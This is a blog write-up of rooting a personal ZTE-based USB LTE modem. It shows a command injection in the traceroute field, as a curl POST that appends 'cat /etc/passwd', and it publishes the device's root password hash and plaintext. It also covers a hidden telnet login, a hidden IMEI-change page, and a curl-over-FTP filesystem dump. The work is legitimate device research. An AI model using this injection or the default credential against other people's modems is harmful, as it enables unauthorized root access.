Getting root on a USB LTE modem
This was originally a series of multiple posts on my previous blog. I’ve merged them into one post and did some minor changes during my blog domain migration in 2025.
A couple of weeks ago I bought one of those no-brand LTE modems off of Aliexpress to network my laptop while I’m away from home. After some time in the electronics box curiosity got the better of me and I wanted to see what makes this thing tick and if, maybe, I could figure out why the USB data rates are so slow (125kbit down!! Upstream data rates look as expected).
I saw this modem being sold in two configurations — one with an external antenna plug and, the one I bought, without an external antenna plug and an integrated antenna.
The enclosure doesn’t have that much going on it, there’s a reset button hidden by a lid, a LED and some connection information. The lid seems rather pointless on this model, but it’s probably a re-used plastic mold from an earlier model, as the recess near the reset button looks wide enough to accomodate a SIM card slot.
A really neat thing about this dongle is that the nano-SIM card slot is inside of the USB plug. Cool!
Next we’ll be taking a look at whats inside of this plastic enclosure and if we can make it dance to our tune ;).
Unscrewing the two tiny philips head screws and popping the lid off of it reveals the insides of this little modem, which turns out to be not that interesting as most of the insides are EMI shielded. Looking at the edge of the PCB it seems to be a four layer board.
The quality control sticker shows that it passed it in January of this year (2021). Looks like it’s not old stock they’re selling off for cheap, since I ordered it in February.
On the opposite end of the USB plug there’s the LTE antenna labeled PRX (Primary Receive) and a surface-mount RF plug (factory test plug?). I don’t want to force the plastic LTE antenna off of the board, but it doesn’t seem to be soldered. It’s held on by a plastic pin that drops into a recess in the PCB. My bet is that it’s got some pins underneath which slide onto the external antenna RF plug pads, allowing them to use the same PCB design for the two different configurations.
The left side of PCB has the WiFi trace antenna and the right side a secondary LTE trace antenna labeled DRX (Diversity Receive). The secondary LTE antenna appears to be disconnected, as the components on it’s trace aren’t populated.
The exposed portion of the board houses a flash chip and a ZTE modem SoC. The flash chip is a Fudan Micro 1 gigabit SPI NAND flash (part no. FM25LS01, the bottom left chip on the picture) and the SoC is a ZXIC ZX297xxxx (chip in the center of the picture). The SoC part no. is really hard to read and searching for the first portion that I managed to decipher didn’t yield any results anyways. We’ll probably manage to figure out the capabilities of this some other way (Note from the future: yes we will).
Something that I wasn’t expecting is that the SoC has a tiny aluminium heat sink that’s affixed to the upper portion of the enclosure. When the enclosure is closed then the heat sink gets pressed down on the SoC with a silicone thermal pad mushed inbetween. Since this is a mass-manufactured product then they must’ve done the math and found out that this tiny bent aluminium sheet is absolutely neccesary.
Both of the EMI shields were soldered on. Since I plan on using the dongle in the future I didn’t want to risk breaking it during lid removal. I don’t have a hot air gun, so it’d probably turn into coercing it loose with pliers ;). If there’s enough interest (or curiosity gets the better of me again) then maybe I’ll do a desoldered follow up on a second modem.
When plugging the modem into a USB socket it’ll first boot into it’s bootloader mode (reports itself to the PC as “ZTE Bootloader”) and after a couple of seconds it’ll boot into the main firmware. In the main firmware it’ll report itself as an RNDIS modem. Works without issues in Linux.
lsusb output in bootloader stage
After logging in using the administrative password provided on the enclosure we’re greeted by the full functionality of the interface. It allows the doing the expected (boring!) things, such as configuring WiFi, DHCP, users, changing PIN codes and performing system updates. It does allow you to access the phonebook stored on the SIM card and read and send text messages. Nothing to write home about, so I’ll skip documenting these features.
The administrative interface is slow as molasses under Firefox, as it keeps polling for status updates from the modem.
A feature of note (for reasons which you’ll soon see) is the functionality to perform traceroutes and ping network devices.
After I ran a traceroute to my desktop computer I noticed that the output provided in the textbox looks rather familiar.
It looks exactly like the output of the command traceroute
on my desktop computer.
)
I wonder what would happen if I ran a traceroute for 192.168.0.100 && cat /etc/passwd
…
Damn! They’ve thought of everything! We’ll have to see about it in the next part :).
The last part ended on a bit of a cliffhanger as we encountered the great wall of input validation. Let’s see if and how we can bypass that.
The thing right now blocking me from running a traceroute to 192.168.0.100 && cat /etc/passwd
is the frontend validation, so let’s bypass the frontend validation!
We always could alter it in the browser, but working with a command line is easier.
Running a traceroute on an accepted correct IP address results in a POST request being made to /reqproc/proc_post
with isTest=false
, goformId=SET_TRACEROUTE_TOOL
and dest_ip=192.168.0.100
being sent in the form data.
Copying the query from the network tab as a cURL command and adding our && cat /etc/passwd
to the end of the dest_ip
value results in the following command:
curl 'http://192.168.0.1/reqproc/proc_post' \
--data-raw 'isTest=false&goformId=SET_TRACEROUTE_TOOL&dest_ip=192.168.0.100+%26%26+cat+/etc/passwd'
And running that command gives us (yanked out of a JSON object and formatted for ease of reading)…
traceroute to 192.168.0.100 (192.168.0.100), 30 hops max, 38 byte packets
1 192.168.0.100 (192.168.0.100) 0.092 ms 0.031 ms 0.031 ms
root:C98ULvDZe7zQ2:0:0:root:/:/bin/sh
So it looks like our traceroute and cat was successful! That was easy!
The system has a single user with the password hash of C98ULvDZe7zQ2
.
Doing another request, but this time to query for the environment variables our commands are being run in using the env
command.
USER=root
HOME=/
boot_reason=0
TERM=vt102
PATH=/sbin:/usr/sbin:/bin:/usr/bin
SHELL=/bin/sh
PWD=/
Listing the directories with the same trick gives us:
drwxr-xr-x 16 root 0 0 Jan 1 1970 .
drwxr-xr-x 16 root 0 0 Jan 1 1970 ..
drwxr-xr-x 2 root 0 0 Dec 17 2020 bin
lrwxrwxrwx 1 root 0 19 Nov 28 2020 cache -> /mnt/userdata/cache
drwxr-xr-x 3 root 0 0 Jan 1 08:00 dev
drwxr-xr-x 3 root 0 0 Dec 17 2020 etc
drwxr-xr-x 7 root 0 0 Nov 28 2020 etc_ro
lrwxrwxrwx 1 root 0 20 Nov 28 2020 etc_rw -> /mnt/userdata/etc_rw
drwxr-xr-x 4 root 0 0 Nov 28 2020 lib
drwxr-xr-x 2 root 0 0 Nov 28 2020 media
drwxr-xr-x 6 root 0 0 Nov 28 2020 mnt
dr-xr-xr-x 115 root 0 0 Nov 3 1987 proc
drwxr-xr-x 6 root 0 0 Dec 17 2020 recovery
drwxr-xr-x 2 root 0 0 Dec 17 2020 sbin
dr-xr-xr-x 18 root 0 0 Jan 1 08:00 sys
drwxr-xr-x 3 root 0 0 Jan 1 08:15 tmp
drwxr-xr-x 4 root 0 0 Dec 17 2020 usr
lrwxrwxrwx 1 root 0 17 Nov 28 2020 var -> /mnt/userdata/var"
Output of the commands seems to be limited, as running find /
for a complete file listing results it being cut off.
I’m not going to put a partial file listing here as it’ll be annoying to stich together multiple pipe-delimited outputs.
It’ll be much easier once we get shell access.
The great wall of validation turned out to be an garage door with a bit of tape holding it shut.
While being able to run commands as root and read the output of those commands is fun, it really doesn’t come close to the fun one can have with having shell access. We’ve got the root password hash, so the next step would be to find a place where we can enter that password to get a shell going.
PS. They’re using an unusual authentication method, as the authentication is not based on a token, but rather they’re whitelisting the IP address for some time. I did not omit any cookie data from the cURL command, as I had already “logged in” using my browser.
When the whitelist times out then the only thing returned by the API is:
{"result":"failure"}
As you may remember from the previous post I pondered whether it’s possible to change the modem’s IMEI, which is supposed to be an unique identification number.
This is a slight peek behind the curtains as, in fact, I had root access to the modem and a full filesystem dump before I even started writing the first blogpost.
As I was writing part 4 I decided to investigate the filesystem a bit further and discovered the templates directory for the web server (/etc_ro/web/tmpl
, if you’ve got the modem filesystem available).
A thing stuck out to me, something that I didn’t spot in the web interface. Can you spot it?
drwxr-xr-x 19 svvv users 4.0K Mar 29 21:51 .
drwxr-xr-x 11 svvv users 4.0K Mar 29 21:51 ..
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 TR069
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 adm
-rw-r--r-- 1 svvv users 3.7K Mar 29 21:50 band.html
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 firewall
-rw-r--r-- 1 svvv users 5.1K Mar 29 21:50 home.html
-rw-r--r-- 1 svvv users 1.4K Mar 29 21:50 imeiSetting.html
-rw-r--r-- 1 svvv users 4.4K Mar 29 21:51 login.html
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 network
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 networkTool
-rw-r--r-- 1 svvv users 2.7K Mar 29 21:50 network_lock.html
-rw-r--r-- 1 svvv users 3.1K Mar 29 21:50 nosimcard.html
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 opmode
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:51 phonebook
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 sd
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 sms
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 status
-rw-r--r-- 1 svvv users 784 Mar 29 21:50 switch_port.html
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 system
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 update
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 usb
drwxr-xr-x 5 svvv users 4.0K Mar 29 21:51 usrmanual
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 ussd
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 voip
drwxr-xr-x 2 svvv users 4.0K Mar 29 21:50 wifi
Maybe you noticed it. To build up suspense I left the most interesting template as the last :).
A thing that I noticed was that the URLs match the templates (wow, unexpected!) as per the following:
/index.html#wifi_main -> wifi/wifi_main.html gets rendered
/index.html#ota_update -> update/ota_update.html gets rendered
So let’s give a couple of these bad boys without buttons a try and see if we can find out some super secret functionality ;). Not all of them are accessible (probably meant for a different model), but some seem to work!
Theres a template called adm/super.html
. No idea what these are supposed to do.
Maybe it won’t connect to the network when the “locked” cell isn’t in range.
There was a significant amount of vertical whitespace inbetween the two entries which has now been cropped for reading pleasure.
The hidden menu “others” looks to be a leftover from an earlier frontend. The side menu buttons are also clickable and lead to some options not available from the default menu (eg DMZ, WiFi auto-sleep and UPnP settings).
Maybe some other model of this modem supports running as a serial modem as well, since it looks like you could configure it as a serial port. This side menu is different from the one in “Others” as it has an extra USSD (Unstructured Supplementary Service Data, eg filling up prepaids with codes) sending functionality.
And finally we reach the hidden menu related to the title of this post. Theres a template called imeiSetting.html
.
Visiting the menu offers us three things to change — the IMEI, WiFi MAC and LAN MAC.
Cool, a fancy menu to change your IMEI. No need to get into complicated command line solutions ;).
So it appears that you could easily change the IMEI on this modem. I definitely did not try this functionality, but I did compose an artists rendition of what would happen if someone would enter a different value there:
So we have the root password hash, but where can we enter it?
Running nmap -p 1-65535 -T4 -A -v 192.168.0.1
on the modem gives us some potential clues, plus some more info about the device!
[snip]
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
[snip]
53/tcp open domain dnsmasq 10.0
80/tcp open http Demo-Webs
4719/tcp open telnet BusyBox telnetd
[snip]
It appears that they’re running Linux on that tiny modem! Also there’s a telnet daemon listening on port 4719, cool!
Now that we have found a place where we can enter the password it would be rather useful to know what the password is. One method we could use to figure out the password is to brute-force it, but that takes time and resources. Before deciding to go for the brute-force route it’s usually worth to see if someone else has figured out the password.
Running an internet search for C98ULvDZe7zQ2
gives us a result in a thread about another modem on 4pda.ru, a Russian language technology site and forum.
In that thread it’s posted that the corresponding text for that encrypted password is oelinux123
. Let’s give it a shot!
Cool! We’ve got a shell now! Let’s figure out what kind of hardware we’re running on, as I could not find a datasheet for the SoC.
~ # cat /proc/meminfo
MemTotal: 22184 kB
MemFree: 1896 kB
[snip]
~ # cat /proc/cpuinfo
Processor : ARMv7 Processor rev 4 (v7l)
BogoMIPS : 620.54
Features : swp half thumb fastmult edsp tls
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xd03
CPU revision : 4
Hardware : TSP ZX297520V3
Revision : 0000
Serial : 0000000000000000
As expected, it’s a little ARM processor and we’ve got around 22 megs of RAM, most of which is occupied.
No idea if the Revision
and Serial
are supposed to be zeroed out, but I didn’t alter them ;).
As you may remember the flash memory IC had a gigabit capacity according to the datasheet, and listing the filesystem usage using df
confirms that. There’s even a few dozen megs free, should we want to run our own programs on it :).
~ # df -h
Filesystem Size Used Available Use% Mounted on
/dev/mtdblock5 46.0M 17.8M 28.2M 39% /
mtd:imagefs 8.0M 6.3M 1.7M 78% /mnt/imagefs
mtd:resource 8.0M 2.6M 5.4M 32% /mnt/resource
/dev/mtdblock7 59.0M 1.8M 57.2M 3% /mnt/userdata
/dev/mtdblock3 2.0M 464.0K 1.5M 23% /mnt/nvrofs
It’s also running adbd
, the Android debug bridge daemon, maybe we’ll make use of it at a later date. Let’s make a note of what port adbd
is listening on and see if there are some other services that nmap
missed.
/mnt/userdata/cache # netstat -nutap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5037 0.0.0.0:* LISTEN 663/adbd
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 1241/dnsmasq
tcp 0 0 :::4719 :::* LISTEN 682/telnetd
tcp 0 0 :::80 :::* LISTEN 662/goahead
tcp 0 0 :::53 :::* LISTEN 1241/dnsmasq
tcp 0 0 ::ffff:192.168.0.1:4719 ::ffff:192.168.0.100:41444 ESTABLISHED 682/telnetd
udp 0 0 0.0.0.0:67 0.0.0.0:* 1240/udhcpd
udp 0 0 0.0.0.0:53 0.0.0.0:* 1241/dnsmasq
udp 0 0 0.0.0.0:1464 0.0.0.0:* 1241/dnsmasq
udp 0 0 :::53 :::* 1241/dnsmasq
I noticed an interesting command available, nv
, which sounds like it allows us to poke at non-volatile memory. Maybe there’s something interesting there ;).
~ # nv
usage: cfg [get name] [getro name] [set name=value] [unset name] [show] [erase] [save] [restore]
~ # nv show
imei=???????????????
imeiPrevious=
Model=
rootdev_modeldes=XXX
fota_models=ZTE7520V3
product_model=MF910W
rootdev_modelname=XXX
Note that I’ve culled the output of nv show
to values I found to be of interest, there’s a ton of them (852 according to wc
, to be exact). The imei
field does contain the actual IMEI. I redacted the IMEI with question marks.
The IMEI appears to be stored in non-voltatile memory and also has a field to store the previous IMEI. That makes me wonder if it’s possible to change your IMEI on this modem.
It seems to be a ZTE reference software package which the reseller has done minimal(?) work on.
All mentions of non-ZTE brand names have been replaced with DEMO
or zeroed out, or maybe the reference package comes with those values in place.
PS. The command, filesystem and non-volatile configuration listings are available for your viewing pleasure, should you be interested in such things.
Non-volatile memory values (redacted values are marked)
Files listing was meant to be here as well, but I forgot to add the file back in 2021.
There was an inspirational quote hidden inside /sbin/app_errmsg.txt
: “server does not support the request of the tool”. At certain points in your life you might have to be the server and not support the requests of tools :^).
In the last part we got a root shell access to the modem, but it’s still not good enough! The modem has some utilities installed on it, but it’s still rather limiting to poke around files on. It’d really hit the sweet spot if we could dump the filesystem off of the modem onto my hard drive.
We’ve got root access, so exfiltrating files isn’t going to be a problem. Worst case scenario is that we’ll have to encode the files to text and make a little script to encode file contents as text and read it into files over telnet, but I don’t feel like writing that unless I really have to.
We don’t have netcat nor scp, which is rather expected for a modem.
~ # busybox nc
nc: applet not found
~ # nc
-sh: nc: not found
~ # scp
-sh: scp: not found
Listing all of the functions that this build of busybox was compiled with gives us a couple of utilities we could use — tftp
and wget
(POST out data). Also there’s our old friend traceroute
, and for some reason we also have cal
!
Currently defined functions:
[, [[, arp, arping, ash, awk, basename, brctl, cal, cat, catv, chmod,
chown, cp, cut, date, dd, df, dhcprelay, dirname, dnsdomainname, du,
dumpleases, echo, egrep, env, expr, false, fgrep, find, free, fsync,
grep, groups, gunzip, halt, head, hostid, hostname, id, ifconfig, init,
insmod, install, kill, killall, ln, login, logread, ls, lsmod, md5sum,
mdev, mkdir, mkfifo, mknod, mkswap, mount, mv, netstat, ping, ping6,
poweroff, ps, pwd, reboot, rm, rmdir, rmmod, route, sed, sh, sleep,
sort, stat, swapoff, swapon, sync, sysctl, syslogd, tac, tail, telnetd,
test, tftp, top, touch, tr, traceroute, traceroute6, true, tty, udhcpc,
udhcpd, umount, uname, uniq, unzip, users, wc, wget, zcat
Listing out the arguments supported by the busybox wget implementation it doesn’t look like it supports POSTing files, so that’s no good.
There is tftp
.
During poking around the system I noticed that there’s a (seemingly) full curl
binary on it.
A fact that’s not well known (or at least I hope it’s not, otherwise I’m the one not in the know writing that statement ;)) is that cURL doesn’t only support HTTP, but in fact supports 26 protocols!
Among those 26 protocols are a couple of that are of interest to us: SCP and {S,T}FTP (we have tftp
available on the system, but if we didn’t then cURL could also use that).
tftp
pros are probably looking confused as they’re wondering “why not just use tftp?” and there’s a good reason for it: I’ve never used tftp.
So if it’s possible to use something that I’m familiar with then I’ll try going that route.
~ # curl sftp://192.168.0.100/test
curl: (1) Protocol "sftp" not supported or disabled in libcurl
~ # curl scp://192.168.0.100/test
curl: (1) Protocol "scp" not supported or disabled in libcurl
~ # curl ftp://192.168.0.100/test
curl: (7) Failed to connect to 192.168.0.100 port 21: Connection refused
Damn, still back to using TFTP or FTP.
FTP it is, as I’ve used a similar method once before.
I’m using pyftpdlib
to create a FTP server that allows for uploads to the working directory of the script.
The script creates a single user a:a
with write permissions, as I had problems figuring out how to give anonymous users mkdir permissions.
In a sudden moment of creativity I named the script ftpd.py
.
#!/bin/python3
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
import os
authorizer = DummyAuthorizer()
authorizer.add_user("a", "a", ".", perm="elradfmw")
authorizer.add_anonymous(os.getcwd())
handler = FTPHandler
handler.authorizer = authorizer
address = ('',5000)
server = FTPServer((address), handler)
server.serve_forever()
Now all that’s left is to send every file over FTP using cURL. I’ll also want to send over all symlinked files for completeness. It’s a bit wasteful of disk space, but if that becomes a problem then writing a little script that re-creates all symlinks won’t be too complicated.
To send each file we’ll first need a way to find all regular files and symlinks in the filesystem. We’ll use the utility find
, which is present on the modem.
The maxdepth
argument is rather useful when following symlinks, since there may be recursive symlinks (there were in this case).
For the first test lets produce a complete filesystem listing with file sizes and yank it out of the modem to verify that our exfiltration procedure would work.
Since I want to redirect stdout
to file then I’ll have to be in a writeable directory, I chose /cache
(symlinked to /mnt/userdata/cache
) for that purpose.
On the desktop computer:
➜ mkdir fs-dump && cd fs-dump
➜ python3 ../ftpd.py
On the modem:
/mnt/userdata/cache # find / -type f -follow -maxdepth 10 -exec echo {} \; > file-list
/mnt/userdata/cache # curl -T file-list ftp://192.168.0.100:5000/dir/file-list --user a:a --ftp-create-dirs
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3610 0 0 100 3610 0 14744 --:--:-- --:--:-- --:--:-- 14855
Cool! We got the file off of the modem and onto our disk.
The write was into a nonexistent subdirectory (dir/
) to verify that the folder creation works as expected.
Let’s verify that the files completely match (better safe than sorry ;)).
➜ md5sum dir/file-list
8a42f8a0f216cf77eff8721fc8ab3cde dir/file-list
/mnt/userdata/cache # md5sum file-list
8a42f8a0f216cf77eff8721fc8ab3cde file-list
Now we can go ahead with the complete filesystem dump.
Since the USB upload rates (modem to PC) are really slow with this modem then this is the right moment to switch over to WiFi.
This takes a while, especially since we’re also dumping the /sys/
directory.
~ # find / -type f -follow -maxdepth 10 -exec curl -T {} ftp://192.168.0.100:5000/{} --user a:a --ftp-create-dirs \;
PS. For the transfer over WiFi I plugged it into one of those USB power meters. According to the meter (of unverified accuracy) the idle current is around 10 mA and average current when dumping files over WiFi is around 80 mA. Keep in mind that the LTE network was not connected. 5 V input voltage, like all USB devices ;). Saw peaks at around 200 mA, which would result in a power dissipation around 1 W. Guess that itty bitty heatsink makes some sense.